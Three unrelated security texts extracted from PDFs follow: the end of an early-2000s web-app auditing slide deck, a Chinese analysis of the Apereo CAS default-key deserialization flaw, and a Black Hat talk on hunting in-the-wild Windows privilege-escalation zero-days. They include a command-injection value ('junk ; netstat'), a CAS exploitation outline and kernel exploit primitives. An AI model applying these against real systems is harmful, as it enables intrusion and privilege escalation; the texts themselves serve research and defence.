number – Cookie used to speed-up login process – Account=pCqzl3mSxE8gD3aQfHe KHOmBJCyGca7M6mtaLPn6zINsS c3l%2FF5FdGUl0Kg%3D%3DvV3i Copyright 2002-2003 - David Rhoades slide 54 Command Injection – The Encrypted Account Cookie • Browser • First time – User enters full 16 digit account number – “Account” cookie is stored for future visits • Return Visits – “Account” cookie sent • Useful where many accounts were used • Server – Encrypts account # with PGP – Embeds encrypted account # into cookie – Account cookie sent to browser – Account cookie decrypted – HTML for login screen shows last four digits in drop down menu Copyright 2002-2003 - David Rhoades slide 55 DEMO – Command Injection: Revealing Error Message • Manipulating the cookie value (e.g. inserting semi-colon) revealed this error: – PGP v2.6 error • How was our cookie data getting fed to PGP? – Maybe # pgp $COOKIE_DATA – So, then our data is passed across a command line? :-) – What if $COOKIE_DATA = junk ; netstat Copyright 2002-2003 - David Rhoades slide 56 Command Injection Results Copyright 2002-2003 - David Rhoades slide 57 Attack Agenda – Application Logic • Some points of attack – Authentication – Session Tracking – Unexpected Input Application Logic • Application performs steps in the wrong order, or some other flaw in the underlying logic or design • The Problem • Tools Points of Attack • Resources Copyright 2002-2003 - David Rhoades slide 58 Buggy Bank Demo: Viewing Other Account Balances • View the balance of other accounts – Discovered a few years ago in credit union software – Web app did step C first • Attempt transfer of funds between accounts – Change the FROM account to someone else’s – Small amount…transfer is prevented – But, make amount very large…Result: account balance error Proper Sequence: A Authorized to take money from? B Authorized to put money in? C Enough balance? Copyright 2002-2003 - David Rhoades slide 59 DEMO – Attack Application Logic: Collecting Balances • Tool: Custom Perl script – Brutus and others might work too. • User can change FROM account to someone else’s account when transferring funds • Can also collect valid account numbers too. Conclusion Closing Thoughts & Resources Copyright 2002-2003 - David Rhoades slide 61 Conclusion – Limitation of Tools • Brain & clues not included – You have to know what you’re looking for (e.g. view account balances) • No one tool does it all…(yet?) • Some tools don’t support SSL – Try stunnel to wrap in SSL – URL http://www.stunnel.org/ • For thorough testing you will need to code/script your own tools. • The Problem • Tools • Points of Attack Resources Copyright 2002-2003 - David Rhoades slide 62 Resources – Beyond Point & Click Tools • Elza – scripting language for interacting with web sites and apps – Poor man’s Perl…in fact, Elza is a Perl script – Easier than learning Perl (?) – http://www.stoev.org/elza/ • cURL - command line tool for HTTP(S) – http://curl.haxx.se/ • Perl with libwww-perl (LWP) – http://www.perl.com/ • Regular Expressions (regex)– take the red pill – But if you do, there’s no going back… – www.oreilly.com/catalog/regex/ I know Kung Foo Copyright 2002-2003 - David Rhoades slide 63 Resource – (aka Buggy Bank) WebMaven: Web App Audit Trainer • “Give a man an audit and he will be secure for a day. Teach a man to audit and he will be secure for the rest of his life." - David Rhoades • Fake web app that emulates vulnerabilities. • Run it on your own web server – safe & legal way to practice audit techniques & learn – benchmark audit tools • http://webmaven.MavenSecurity.com Copyright 2002-2003 - David Rhoades slide 64 Resources – Web App Security Resources • OWASP – Open Source Web App Security Project – www.owasp.org – Lots of projects, papers, etc. • WebApp Sec mailing list – http://www.securityfocus.com/arc hive/107 Copyright 2002-2003 - David Rhoades slide 65 Questions? Fill out Evals! Download slides! • Fill out the course eval • These slides (and others) are online at www.MavenSecurity.com (under Resources section) • Contact me at – David Rhoades – [email protected] – www.MavenSecurity.com • Thank you www.MavenSecurity.com Auditing web apps since 1996
pdf
Java安全之Cas反序列化漏洞分析 0x00 前言 某次项目中遇到Cas,以前没接触过,借此机会学习一波。 0x01 Cas 简介 CAS 是 Yale 大学发起的一个开源项目,旨在为 Web 应用系统提供一种可靠的单点登录方法,CAS 在 2004 年 12 月正式成为 JA-SIG 的一个项目,开源的企业级单点登录解决方案。 0x02 远程调试环境搭建 下载地址,将环境war包下载,部署到tomcat即可 tomcat目录bin文件下, startup_debug.bat call %EXECUTABLE%" start %CMD_LINE_ARGS% 改为 IDEA中设置Remote远程调试5005即可完成。 0x03 漏洞分析 漏洞详情 4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏 洞,进而执行任意命令。 影响版本 Apereo CAS <= 4.1.7 感觉上和Shiro的 550有点类似 解析流程分析 看web.xml得知,该项目基于Spring MVC开发。 上图请求路径是 /login 的这里来直接找login的处理方法进行跟踪。 set JPDA_TRANSPORT=dt_socket set JPDA_ADDRESS=5005 set JPDA_SUSPEND=n call "%EXECUTABLE%" jpda start %CMD_LINE_ARGS% 从web.xml中可见,交给了 DispatcherServlet 去处理。 这时候可以查看springmvc的配置文件 cas-servlet.xml 注意 loginHandlerAdapter 这个配置的bean,其中的属性有 supportedFlowId 的值为"login",同时 属性flowExecutor-ref的引用值为 loginFlowExecutor 。 再看 loginFlowExecutor 这个bean中所配置的登录流程属性引用值就是我们webflow上下文配置中的 loginFlowRegistry 这个属性。 因此我们来看一下 loginHandlerAdapter 这个bean对应的类为 org.jasig.cas.web.flow.SelectiveFlowHandlerAdapter 所起的作用,是如何来处理登录动作的。 先来看一下这个类的父类 org.springframework.webflow.mvc.servlet.FlowHandlerAdapter ,这 个是Springmvc中的一个类。 FlowHandlerAdapter 实现接口 HandlerAdapter ,而 SelectiveFlowHandlerAdapter 继承自 FlowHandlerAdapter 。 SelectiveFlowHandlerAdapter 类在 cas-server-webapp-actions 模块下的 org.jasig.cas.web.flow 包下。 因此Spring的DispatcherServlet找到要处理的 handleAdapter 是 SelectiveFlowHandlerAdapte 。并 且根据地址http://localhost:8080/cas/login?service=XXX,得到handler的flowId="login",即流程: loginFlowRegistry 。 然后进入下面的handle方法,开始调取流程: 当有登录请求时,spring则会调用该 org.jasig.cas.web.flow.SelectiveFlowHandlerAdapter 跟进 this.flowUrlHandler.getFlowExecutionKey(request) 可见,该方法会获取请求中的 execution 参数。 而后会进行调用 this.executionRepository.parseFlowExecutionKey(flowExecutionKey); 获取到 key。 跟进查看 可见从 execution 参数,后分割UUID和 _ 后面部分,而后面部分进行base64解密。对返回id和data进 行赋值,然后返回 ClientFlowExecutionKey 对象 下面调用 this.executionRepository.getFlowExecution(key); ,将刚刚获取到的 ClientFlowExecutionKey 对象,即key变量传递。跟进。 这地方进行了数据的反序列化操作。先来看到构造方法,使用 AES/CBC/PKCS7 加密方式,并且密钥使用 默认的密钥进行加密。 而在解密后还会对数据进行解压缩 GZIPInputStream 处理后进行反序列化。 漏洞复现与利用 根据以上数据解析分析,我们只需要将cas中加密部分扣出来,然后进行 GZIPOutputStream 处理,而 后将他进行base64加密,将处理后的gadgets加入到 execution 参数里面即可,当然还需要构造一下前 面UUID的值。 从github找到现成工具。 Reference https://www.anquanke.com/post/id/198842 0x04 结尾 除此外,还有一些值得探讨的地方例如,回显方式的构造。
pdf
#BHUSA @BlackHatEvents The Journey Of Hunting In-The-Wild Windows LPE 0day Quan Jin DBAPPSecurity #BHUSA @BlackHatEvents Information Classification: General Who am I ⚫ Quan Jin (@jq0904) • Security Researcher at DBAPPSecurity • Member of ➢ DBAPPSecurity Lieying Lab ➢ DBAPPSecurity WeBin Lab • Interested in ➢ Vulnerability discovery and exploiting ➢ In-the-wild 0day hunting • Presented at ➢ Bluehat Shanghai 2019 ➢ HITB2021AMS • 37 CVE acknowledgments from Microsoft • 2020~2022 MSRC Most Valuable Researcher #BHUSA @BlackHatEvents Information Classification: General Agenda ⚫ Motivation ⚫ Learn from history (and now) ⚫ One road leads to Rome ⚫ Results • The Story of CVE-2021-1732 • The Story of CVE-2021-33739 • The Story of a “Patched” 1day ⚫ Takeaways #BHUSA @BlackHatEvents Information Classification: General Agenda ⚫ Motivation ⚫ Learn from history (and now) ⚫ One road leads to Rome ⚫ Results • The Story of CVE-2021-1732 • The Story of CVE-2021-33739 • The Story of a “Patched” 1day ⚫ Takeaways #BHUSA @BlackHatEvents Information Classification: General Motivation 2 4 6 5 11 0 2 4 6 8 10 12 2017 2018 2019 2020 2021 In-The-Wild Windows LPE 0day (2017-2021) #BHUSA @BlackHatEvents Information Classification: General ⚫ How to obtain valueable datasets (that potentially have 0days) ✓ Private datasets (Data from our own products) ✓ Public platform datasets (Such as VirusTotal) ⚫ How to develop an effective detection method ✓ Dynamic detection (picking out a sample through abnormal behavior) • Antivirus, Sandbox, … ✓ Static detection (matching samples with static signatures) • YARA, … Is it possible to catch an itw LPE 0day? #BHUSA @BlackHatEvents Information Classification: General Agenda ⚫ Motivation ⚫ Learn from history (and now) ⚫ One road leads to Rome ⚫ Results • The Story of CVE-2021-1732 • The Story of CVE-2021-33739 • The Story of a “Patched” 1day ⚫ Takeaways #BHUSA @BlackHatEvents Information Classification: General Why should we learn from history 1. Some exploit techniques are consistent over time 2. Thinking from the attacker's view allows for better defense 3. Historical cases have been carefully studied by the community #BHUSA @BlackHatEvents Information Classification: General How we study historical cases • Discovered vendor • Using organization • Patch cycle • Initial disclosure article • Usage scenario • Targeted system versions • Vulnerability module • Vulnerability type • Exploit techniques • Public analysis blogs • Public exploits • The original sample (if have) #BHUSA @BlackHatEvents Information Classification: General Usage scenario ⚫ Whether the sample was used as a standalone component, or as part of a chain • CVE-2021-1732 (Standalone component) • CVE-2021-31956 (In conjunction with Chrome vulnerability) ⚫ Whether the exploit was used in a fileless form, or was just contained in a drop file • CVE-2017-0263 (Dll reflection) • CVE-2019-0803 (Contained in a single file) ⚫ Affect the selection of different detection methods #BHUSA @BlackHatEvents Information Classification: General Targeted system versions ⚫ Many Windows LPE samples will check OS version before exploit • CVE-2018-8611 itw exploit (Windows 7 ~ Windows 10 1803) • CVE-2019-0797 itw exploit (Windows 8 ~ Windows 10 1703) • CVE-2021-40449 itw exploit (Windows Vista ~ Windows 10 1809) ⚫ Useful when making a sandbox or reproduction environment • Which Windows 10 version is best as a sandbox/reproduction environment? • Is it necessary to maintain an oldest and newest Windows environment in the long term? #BHUSA @BlackHatEvents Information Classification: General Vulnerability module ⚫ Which module is most targeted • WIN32K • ATMFD • NT ⚫ Which component is most favored by attackers during a specific period of time • Desktop Window Manager (DWM) • Common Log File System (CLFS) ⚫ Useful when predicting the most likely vulnerability #BHUSA @BlackHatEvents Information Classification: General Vulnerability type ⚫ Infer which type of vulnerability is the attacker more favored • Integer Overflow: CVE-2020-17087, CVE-2021-31956, CVE-2021-31979 • Type Confusion: CVE-2021-1732, CVE-2022-21882 • Race Condition: CVE-2018-8589, CVE-2018-8611, CVE-2019-0797 • Use After Free: CVE-2018-8453, CVE-2019-0859, CVE-2021-33771 • … ⚫ Help us config the right reproduction environment • Whether need to config Driver Verifier ⚫ Show the popularity of different vulnerability types #BHUSA @BlackHatEvents Information Classification: General Exploit techniques ⚫ We count the exploit techniques for most itw Windows LPE 0days (2014-2021) • “bServerSideWindowProc” method was popular from 2015 to 2016 • CVE-2015-1701, CVE-2015-2360, CVE-2015-2546, CVE-2016-0167 • The method of using “Previous Mode” to achieve arbitrary address read and write has become more and more popular since 2018 • CVE-2018-8611, CVE-2021-28310, CVE-2021-31956, CVE-2021-31979, CVE-2021-33771 • The method of using “HMValidateHandle” to leak kernel information is popular in the past five years • CVE-2017-0263, CVE-2018-8453, CVE-2019-0859, CVE-2019-1132, CVE-2021-1732 #BHUSA @BlackHatEvents Information Classification: General Public analysis blogs & exploits ⚫ Standing on the shoulders of giants • “ Hunting for exploits by looking for the author’s fingerprints ” by Check Point • “ The Story of PlayBit ” by Check Point • “ Overview of the latest Windows OS kernel exploits found in the wild ” by Kaspersky • “ Retrospective on the latest zero-days found in the wild ” by Kaspersky #BHUSA @BlackHatEvents Information Classification: General The original sample (if have) ⚫ The first-hand information • Files • Hashes • Behaviors • Exploit techniques ⚫ Help us detect similar samples in the future • Some exploit techniques are consistent over time #BHUSA @BlackHatEvents Information Classification: General Why should we learn from now 1. A new disclosed vulnerability may have variants • CVE-2022-21882 is a variant of CVE-2021-1732 2. A new targeted module will be fuzzed and audited by community • CLFS is heavily fuzzed and audited in the past two years 3. An attacker may have some similar vulnerabilities in use or wait to use • Kaspersky discovered CVE-2021-28310 based on CVE-2021-1732 4. A new exploit technique tends to be used by attackers soon • “Pipe Attribute” in “Scoop the Windows 10 pool!” is popular after 2020 #BHUSA @BlackHatEvents Information Classification: General Why should we learn from now 1. A new disclosed vulnerability may have variants • CVE-2022-21882 is a variant of CVE-2021-1732 2. A new targeted module will be fuzzed and audited by community • CLFS is heavily fuzzed and audited in the past two years 3. An attacker may have some similar vulnerabilities in use or wait to use • Kaspersky discovered CVE-2021-28310 based on CVE-2021-1732 4. A new exploit technique tends to be used by attackers soon • “Pipe Attribute” in “Scoop the Windows 10 pool!” is popular after 2020 #BHUSA @BlackHatEvents Information Classification: General Why should we learn from now 1. A new disclosed vulnerability may have variants • CVE-2022-21882 is a variant of CVE-2021-1732 2. A new targeted module will be fuzzed and audited by community • CLFS is heavily fuzzed and audited in the past two years 3. An attacker may have some similar vulnerabilities in use or wait to use • Kaspersky discovered CVE-2021-28310 based on CVE-2021-1732 4. A new exploit technique tends to be used by attackers soon • “Pipe Attribute” in “Scoop the Windows 10 pool!” is popular after 2020 #BHUSA @BlackHatEvents Information Classification: General Why should we learn from now 1. A new disclosed vulnerability may have variants • CVE-2022-21882 is a variant of CVE-2021-1732 2. A new targeted module will be fuzzed and audited by community • CLFS is heavily fuzzed and audited in the past two years 3. An attacker may have some similar vulnerabilities in use or wait to use • Kaspersky discovered CVE-2021-28310 based on CVE-2021-1732 4. A new exploit technique tends to be used by attackers soon • “Pipe Attribute” in “Scoop the Windows 10 pool!” is popular after 2020 #BHUSA @BlackHatEvents Information Classification: General Agenda ⚫ Motivation ⚫ Learn from history (and now) ⚫ One road leads to Rome ⚫ Results • The Story of CVE-2021-1732 • The Story of CVE-2021-33739 • The Story of a “Patched” 1day ⚫ Takeaways #BHUSA @BlackHatEvents Information Classification: General Choose the right tool Antivirus Sandbox YARA #BHUSA @BlackHatEvents Information Classification: General Antivirus ⚫ The most powerful tool • Kaspersky have caught some itw Windows LPE 0days with their antivirus in the past few years ⚫ Pros • Deployed in large-scale real-world environments • Opportunity to extract encrypted LPE components ⚫ Cons • There are strong technical barriers • It is likely to be bypassed or detected #BHUSA @BlackHatEvents Information Classification: General Sandbox ⚫ Another power tool • There are some successful experience on itw Office 0day hunting with the help of sandbox ⚫ Pros • The environment is highly controllable and can be freely configured • Behavior-based detection makes it accuracy ⚫ Cons • Easy to miss a Windows LPE sample (OS version check) • Huge resource overhead (More environments means more time and money) #BHUSA @BlackHatEvents Information Classification: General Sandbox ⚫ Other disadvantages of sandbox on Windows LPE hunting • Some samples require parameters but the sandbox cannot provide valid parameters by default • For example, a process id • Some samples only lead to BSOD without subsequent behavior, which is difficult to detect • Such as a proof of concept (poc), or a sample running in a wrong system version • There is a cycle between sandbox development and deployment • Which will lead to missing the best detection cycle for some latest exploits #BHUSA @BlackHatEvents Information Classification: General YARA ⚫ Powerful static method • Widely used for malware hunting ⚫ Pros • Almost no technical barriers • No fear of various checks • Flexible in development and deployment • Low cost ⚫ Cons • It can easily lead to false positives and false negatives #BHUSA @BlackHatEvents Information Classification: General Choose the right tool Antivirus Sandbox YARA #BHUSA @BlackHatEvents Information Classification: General Build the right rule 1. Write rules according to the signatures of each stage of exploitation 2. Write rules for latest exploit techniques 3. Write rules for the most likey vulnerability #BHUSA @BlackHatEvents Information Classification: General Write rules according to stages ⚫ Normally, a Windows kernel LPE exploit has these stages • Vulnerability Triggering • Heap Feng Shui • Kernel Information Leak • Arbitrary Address Read and Write • Control Flow Hijacking • Privilege Escalation ⚫ Write rules based on the common features of each stage #BHUSA @BlackHatEvents Information Classification: General Kernel information leak ⚫ Common kernel information leak techniques • NtQuerySystemInformation • SystemBigPoolInformation • SystemModuleInformation • … • Win32k Shared Info User Handle Table • Descriptor Tables • HMValidateHandle • GdiSharedHandleTable #BHUSA @BlackHatEvents Information Classification: General Arbitrary address read/write ⚫ Common arbitrary address read/write techniques • SetWindowLong / SetWindowLongPtr • SetWindowText / InternalGetWindowText / NtUserDefSetText • GetMenuItemRect / SetMenuItemInfo / GetMenuBarInfo • NtUpdateWnfStateData / NtQueryWnfStateData • GetBitmapBits / SetBitmapBits • GetPaletteEntries / SetPaletteEntries • CreatePipe / NtFsControlFile • Previous Mode + NtReadVirtualMemory / WriteVirtualMemory ⚫ Note: Not all techniques are suitable for YARA rules #BHUSA @BlackHatEvents Information Classification: General Build the right rule 1. Write rules according to the signatures of each stage of exploitation 2. Write rules for latest exploit techniques 3. Write rules for the most likey vulnerability #BHUSA @BlackHatEvents Information Classification: General Write rules for latest exploit techniques ⚫ Arbitrary address read with the help of Pipe Attribute • July 2020, “ Scoop the Windows 10 pool! ” by Paul Fariello and Corentin Bayet of Synacktiv ⚫ Arbitrary address read and write via Windows Notification Facility (WNF) • June 2021, “ PuzzleMaker attacks with Chrome zero-day exploit chain ” by Kaspersky • July 2021 “ CVE-2021-31956 Exploiting the Windows Kernel (NTFS with WNF) ” by Alex Plaskett • July 2021 “ Windows Pool OverFlow Exploit ” by YanZiShuang(@YanZiShuang) ⚫ These two exploit techniques are universal, we wrote rules for them and caught some high-value samples #BHUSA @BlackHatEvents Information Classification: General Build the right rule 1. Write rules according to the signatures of each stage of exploitation 2. Write rules for latest exploit techniques 3. Write rules for the most likey vulnerability #BHUSA @BlackHatEvents Information Classification: General Write rules for the most likey vulnerability ⚫ The case of Desktop Windows Manager (DWM) vulnerability • April 13, 2021, Kaspersky wrote a blog and disclosed CVE-2021-28310, which is an itw 0day in the Windows DWM component • “ Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild ” • May 03, 2021, ZDI published another blog, disclosing another vulnerability CVE-2021-26900, which is also a vulnerability in Windows DWM component • “ CVE-2021-26900: Privilege escalation via a use after free vulnerability in win32k ” • May 22, 2021, we caught a new itw DWM 0day CVE-2021-33739 #BHUSA @BlackHatEvents Information Classification: General Build a workable system ⚫ When an exploit is matched by a rule, how to notify us in time? • VirusTotal: [email protected] • Own Products: Email ⚫ When we get an exploit, how to quickly reproduce and classify it? • Prepare three types of reproduce environments: Nday, 1day, 0day • VMs of Windows 7, Windows 10, Windows 11, covered both x86 and x64 ⚫ What skills should we master to debug different Windows LPE exploits? • Driver Verifier • Windows Remote Debugging (when debugging dwm.exe) #BHUSA @BlackHatEvents Information Classification: General Build a workable system ⚫ When an exploit is matched by a rule, how to notify us in time? • VirusTotal: [email protected] • Own Products: Email (Slack is also a good choice) ⚫ When we get an exploit, how to quickly reproduce and classify it? • Prepare three types of reproduce environments: Nday, 1day, 0day • VMs of Windows 7, Windows 10, Windows 11, covered both x86 and x64 ⚫ What skills should we master to debug different Windows LPE exploits? • Driver Verifier • Windows Remote Debugging (when debugging dwm.exe) #BHUSA @BlackHatEvents Information Classification: General Build a workable system ⚫ When an exploit is matched by a rule, how to notify us in time? • VirusTotal: [email protected] • Own Products: Email (Slack is also a good choice) ⚫ When we get an exploit, how to quickly reproduce and classify it? • Prepare three types of reproduce environments: Nday, 1day, 0day • VMs of Windows 7, Windows 10, Windows 11, covered both x86 and x64 ⚫ What skills should we master to debug different Windows LPE exploits? • Driver Verifier • Windows Remote Debugging (when debugging dwm.exe) #BHUSA @BlackHatEvents Information Classification: General Test and improve the system ⚫ Eliminate false positives and false negatives 1. Use historical itw samples to test the rules 2. Use public pocs/exploits to test the rules 3. Write pocs/exploits and test the rules (when public pocs/exploits are unavailable) 4. Apply the rules to a large number of samples for stress testing 5. (Continuously) Convert the latest exploit techniques into rules and test them #BHUSA @BlackHatEvents Information Classification: General Agenda ⚫ Motivation ⚫ Learn from history (and now) ⚫ One road leads to Rome ⚫ Results • The Story of CVE-2021-1732 • The Story of CVE-2021-33739 • The Story of a “Patched” 1day ⚫ Takeaways #BHUSA @BlackHatEvents Information Classification: General The Story of CVE-2021-1732 ⚫ Data source • The itw sample was from our private dataset ⚫ Why it caught our attention • It used HMValidateHandle to leak kernel address ⚫ Usage scenario • The sample was used as a standalone component • Need a parameter (process id) #BHUSA @BlackHatEvents Information Classification: General The Story of CVE-2021-1732 ⚫ Some highlights of the itw sample • It targeted the latest version of Windows operating system (Windows 10 1909 x64) • The sample was compiled in May 2020 • It used GetMenuBarInfo to built arbitrary address read primitive • Which is a previously undisclosed exploit technique • Before exploit, it detected specific antivirus and performed system version check • Targeted Windows 10 1709 x64 ~ Windows 10 1909 x64 ⚫ More details can refer to our blog #BHUSA @BlackHatEvents Information Classification: General The Story of CVE-2021-33739 ⚫ Data source • The itw sample was from VirusTotal (compiled from GitHub) ⚫ Why it caught our attention • It hit a rule we wrote for the most likely vulnerability (Desktop Window Manager) ⚫ Side note • The “author” accidentally introduced this new bug when writing an exploit for CVE-2021-26868 • It seems that the “author” knew this #BHUSA @BlackHatEvents Information Classification: General The Story of CVE-2021-33739 ⚫ This is what we sent to MSRC before the bug was fixed The first vulnerability has been fixed by Microsoft in the May 2021 patch, but the second vulnerability is still a zero day. I think the exploit author accidentally included a second vulnerability when attempting to publish the exploit code of a known vulnerability, and the second vulnerability happened to be discovered by me when I hunting for in-the-wild zero day. So I think the second vulnerability is not strictly a zero-day vulnerability in the wild. This is just my opinion, the final release definition depends on you. #BHUSA @BlackHatEvents Information Classification: General The Story of CVE-2021-33739 ⚫ This is the exploit status finally published by MSRC #BHUSA @BlackHatEvents Information Classification: General Root cause of CVE-2021-33739 ⚫ Unbalanced reference count on CinteractionTrackerBindingManager Object in dwmcore.dll ⚫ Steps to trigger the vulnerability 1. Create a CInteractionTrackerBindingManagerMarshaler resource 2. Create a CinteractionTrackerMarshaler resource 3. Bind the resource created by step 1 twice to the resource created by step 2 (as follows), and do not release these resources manully DWORD dwDataSize = 12; DWORD* szBuff = (DWORD*)malloc(4 * 3); szBuff[0] = 0x02; // resource1_id is DirectComposition::CInteractionTrackerMarshaler szBuff[1] = 0x02; // resource2_id is DirectComposition::CInteractionTrackerMarshaler szBuff[2] = 0xffff; // new_entry_id #BHUSA @BlackHatEvents Information Classification: General Root cause of CVE-2021-33739 ⚫ Normally, the CinteractionTrackerBindingManager object will call ProcessSetTrackerBindingMode twice to add reference count by 2 ⚫ Then the code will call RemoveTrackerBindings twice to sub reference count, and release the CinteractionTrackerBindingManager object normally when reference count is reduced to 0 // reference count starts from 0 CResourceFactory::Create +1 .............................................. ref_count = 1 CResourceTable::CreateEmptyResource +1 ................................... ref_count = 2 CComposition::Channel_CreateResource -1 .................................. ref_count = 1 CInteractionTrackerBindingManager::ProcessSetTrackerBindingMode +1 ....... ref_count = 2 CInteractionTrackerBindingManager::ProcessSetTrackerBindingMode +1 ....... ref_count = 3 CResourceTable::DeleteHandle -1 .......................................... ref_count = 2 CInteractionTrackerBindingManager::RemoveTrackerBindings -1 .............. ref_count = 1 CInteractionTrackerBindingManager::RemoveTrackerBindings -1 .............. ref_count = 0 // release object when reference count is reduced to 0 #BHUSA @BlackHatEvents Information Classification: General Root cause of CVE-2021-33739 ⚫ Normally, the CinteractionTrackerBindingManager object will call ProcessSetTrackerBindingMode twice to add reference count by 2. ⚫ Then the code will call RemoveTrackerBindings twice to sub reference count by 2, and release the CinteractionTrackerBindingManager object normally when reference count is reduced to 0 // reference count starts from 0 CResourceFactory::Create +1 .............................................. ref_count = 1 CResourceTable::CreateEmptyResource +1 ................................... ref_count = 2 CComposition::Channel_CreateResource -1 .................................. ref_count = 1 CInteractionTrackerBindingManager::ProcessSetTrackerBindingMode +1 ....... ref_count = 2 CInteractionTrackerBindingManager::ProcessSetTrackerBindingMode +1 ....... ref_count = 3 CResourceTable::DeleteHandle -1 .......................................... ref_count = 2 CInteractionTrackerBindingManager::RemoveTrackerBindings -1 .............. ref_count = 1 CInteractionTrackerBindingManager::RemoveTrackerBindings -1 .............. ref_count = 0 // release object when reference count is reduced to 0 #BHUSA @BlackHatEvents Information Classification: General Root cause of CVE-2021-33739 ⚫ In the vulnerability scenario, it will call ProcessSetTrackerBindingMode only once to add reference count by 1 ⚫ But the code will still call RemoveTrackerBindings twice to sub reference count by 2 ⚫ UAF in the second RemoveTrackerBindings call // reference count starts from 0 CResourceFactory::Create +1 .............................................. ref_count = 1 CResourceTable::CreateEmptyResource +1 ................................... ref_count = 2 CComposition::Channel_CreateResource -1 .................................. ref_count = 1 CInteractionTrackerBindingManager::ProcessSetTrackerBindingMode +1 ....... ref_count = 2 CResourceTable::DeleteHandle -1 .......................................... ref_count = 1 CInteractionTrackerBindingManager::RemoveTrackerBindings -1 .............. ref_count = 0 // release object when reference count is reduced to 0 CInteractionTrackerBindingManager::RemoveTrackerBindings -1 .............. UAF #BHUSA @BlackHatEvents Information Classification: General The Story of a “Patched” 1day ⚫ Data source • The itw sample was from VirusTotal ⚫ Why it caught our attention • It hit a rule we wrote for the latest exploit techniques (Pipe Attribute) ⚫ Usage scenario • The sample was used as a standalone component • The exploit code was adapted to a variety of Windows OS versions #BHUSA @BlackHatEvents Information Classification: General The Story of a “Patched” 1day ⚫ Basic information • A type confusion vulnerability in clfs.sys • Caught in October 2021, “Patched” in September 2021 • May be one of CVE-2021-36963, CVE-2021-36955, CVE-2021-38633 or none of them ⚫ Root cause • The clfs.sys lacks some checks on Client Context Offset, an attacker can take advantage of this to provide an invalid Client Context Offset #BHUSA @BlackHatEvents Information Classification: General The Story of a “Patched” 1day ⚫ How the itw sample use this vulnerability • The itw sample leveraged this to make the first Client Context Offset(0x2B5) point to the second Container Context Offset, then it used an 1-bit flip to change the second Container Context Offset from 0x13A0 to 0x1BA0 “DeathNote of Microsoft Windows Kernel”, KeenLab, 2016 “CLFS Internals”, Alex Ionescu, 2021 #BHUSA @BlackHatEvents Information Classification: General The Story of a “Patched” 1day ⚫ The 1-bit filp in CClfsLogFcbPhysical::FlushMetadata 1: kd> .formats 13A0 Evaluate expression: Hex: 00000000`000013a0 Binary: 00000000 00000000 00000000 00000000 00000000 00000000 00010011 10100000 1: kd> ? 13 | 8 Evaluate expression: 27 = 00000000`0000001b 1: kd> .formats 1BA0 Evaluate expression: Hex: 00000000`00001ba0 Binary: 00000000 00000000 00000000 00000000 00000000 00000000 00011011 10100000 #BHUSA @BlackHatEvents Information Classification: General The Story of a “Patched” 1day ⚫ The arbitrary address write primitive in CClfsBaseFilePersisted::RemoveContainer • The normal virtual table of a ClfsContainer object • The fake virtual table of the fake ClfsContainer object 1: kd> dps fffff804`2e9354b8 fffff804`2e9354b8 fffff804`2e960c10 CLFS!CClfsContainer::AddRef fffff804`2e9354c0 fffff804`2e94c060 CLFS!CClfsContainer::Release fffff804`2e9354c8 fffff804`2e92b570 CLFS!CClfsContainer::GetSListEntry fffff804`2e9354d0 fffff804`2e9489e0 CLFS!CClfsContainer::Remove 0: kd> dps 0000003a`b777f1e8 0000003a`b777f1e8 00000000`00000000 0000003a`b777f1f0 fffff804`2f0cc390 nt!HalpDmaPowerCriticalTransitionCallback 0000003a`b777f1f8 00000000`00000000 0000003a`b777f200 fffff804`2ef95f70 nt!XmXchgOp #BHUSA @BlackHatEvents Information Classification: General The Story of a “Patched” 1day ⚫ The arbitrary address read primitive • “Pipe Attribute” technique described in the “Scoop the Windows 10 pool!” (SSTIC2020) struct PipeAttribute { LIST_ENTRY list; char * AttributeName; uint64_t AttributeValueSize; char * AttributeValue; char data [0]; }; hRes = NtQuerySystemInformation(SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize); • SystemBigPoolInformation technique described in “windows_kernel_address_leaks” (Github) #BHUSA @BlackHatEvents Information Classification: General The Story of a “Patched” 1day ⚫ The September 2021 patch • The patch only checked the value of Client Context Offset to make sure it couldn't be less than 0x1368 #BHUSA @BlackHatEvents Information Classification: General The Story of a “Patched” 1day ⚫ Has it been fixed thoroughly? • What if we construct a Client Context Offset that is greater than 0x1368, and make the Client Context Offset point directly to the CClfsContainer object? • BSOD • A variant of this “patched” 1day • Reported to MSRC at December 2021 • Microsoft fixed this case in April 2022 as CVE-2022-24481 #BHUSA @BlackHatEvents Information Classification: General Agenda ⚫ Motivation ⚫ Learn from history (and now) ⚫ One road leads to Rome ⚫ Results • The Story of CVE-2021-1732 • The Story of CVE-2021-33739 • The Story of a “Patched” 1day ⚫ Takeaways #BHUSA @BlackHatEvents Information Classification: General Suggestions 1. Choose the most suitable method within your capability 2. Carefully study historical cases is always a good thing 3. Keep an eye out for new variants of a new itw vulnerabillity #BHUSA @BlackHatEvents Information Classification: General Insights 1. More vulnerabilities in clfs may appear in the future 2. “Pipe Attribute” method will be using again in the future 3. The following techniques may be popular in the future • Arbitrary address read/write with the help of WNF, POC2021 • Arbitrary address read/write with the help of ALPC, Blackhat Asia 2022 • Arbitrary address read/write with the help of I/O Ring, TyphoonCon 2022 #BHUSA @BlackHatEvents Information Classification: General Acknowledgements ⚫ Thanks to guys of DBAPPSecurity WeBin Lab ⚫ Thanks to @megabeets_ and @EyalItkin for their inspiring blogs ⚫ Thanks to Xiaoyi Tu and Dong Wu of DBAPPSecurity Lieying Lab ⚫ Thanks to @YanZiShuang and @oct0xor for sharing debugging tips #BHUSA @BlackHatEvents Information Classification: General Thank you! Questions?
pdf
